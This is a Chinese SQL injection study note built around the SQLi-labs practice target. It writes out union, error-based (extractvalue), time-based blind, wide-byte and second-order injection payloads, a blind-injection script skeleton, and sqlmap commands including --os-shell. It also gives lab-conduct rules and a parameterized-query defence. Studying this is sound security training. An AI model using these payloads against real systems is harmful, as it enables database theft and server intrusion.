补报错注入、盲注脚本化、URL 编码三处细节(基础流程见 SQL 基础、sqlmap)。
0x01 判型与回显位:三步标准动作
?id=1 and 1=2--+ -- 条件不成立页面异常 → 有注入(数字型无引号即生效)
?id=1' and 1=2--+ -- 需要闭合单引号 → 字符型
?id=1 order by 3--+ -- 3 正常 4 报错 → 3 列
?id=-1 union select 1,2,3--+ -- 负数让原查询为空,回显位显出来
--+:--后须跟空格,URL 里+会被解码成空格;直接写空格会变%20。仅 GET,POST 体里写--;- 回显前先让原查询为空(
id=-1或and 1=2),否则看不到联合结果; - 查库表列:
information_schema.schemata→tables→columns;group_concat()一次带回全部、limit控位置。
0x02 报错注入:extractvalue 到底在报什么错
extractvalue(目标XML文档, XPath路径) 本职查 XML,被拿来注入:
?id=1' and extractvalue(1, concat(0x7e, (select database())))--+
原理:XPath 必须以 / 开头,格式不符即解析报错并回显被解析内容——concat(0x7e, 结果) 以 ~ 开头不合法,库就把这个”非法路径”(即结果)吐出来。易错点:
0x7e是~的十六进制,加引号即成字符串,失去非法路径语义;- 括号严格配对,报错先查括号;
- 第一个参数随便填;
updatexml()同理、多一个”新值”参数;floor()靠rand()+group by冲突报错,效果一样。
0x03 时间盲注:从手测到二分脚本
无回显用 sleep() 做信道:IF(条件, sleep(3), 0),真则慢 3 秒;批量取数必须脚本化:
# 按位二分:对每个字符位置,构造 ascii(substr(db,i,1))>mid 的 IF-sleep 条件
# 根据响应时间 > 阈值 判断真假,log2(128)≈7 次请求确定一个字符
import requests, time
URL = "http://<靶机>/Less-9/?id=1' and IF(ascii(substr(database(),{pos},1))>{mid},sleep(2),0)--+"
两个坑:requests 没装、靶机 IP 写错导致全 sleep 失败;先用已知值验证逻辑(如先盲注出库名首字符)。
0x04 宽字节注入与二次注入
宽字节(GBK 场景):后端用反斜杠转义单引号(%5c%27),%df 吃掉 %5c 组成汉字,单引号逃逸:
输入: %df'
拼接: %df%5c%27 → GBK 解码为 "運'" → 引号成功闭合
前提:连接编码为 GBK 系(set names gbk),UTF-8 无此问题。
二次注入:恶意内容被 addslashes 转义存入库,后续某处直接取出拼接时触发——转义只在输入侧。典型:注册用户名 admin'-- -,改密时从 session 取用户名拼 SQL。防御靠参数化查询 + 出库数据同样不信任。
0x05 sqlmap 与权限现实
sqlmap -u "http://<靶机>/Less-1/?id=1" --dbs --batch
sqlmap -u "..." --os-shell # 需要 secure_file_priv 允许 + 知道 Web 绝对路径
--os-shell 预期放低:靠 into outfile 写文件,生产库常 secure_file_priv=NULL 或权限降级——案例里 sa 被降到 network service,能跑 dir/ipconfig 却传不了文件。注入拿到的是数据库权限,不是服务器权限。
0x06 靶场纪律
真实漏洞不碰数据、不影响运营;高级绕过读 SQLi-labs 源码学原理;真实场景封装进靶场练。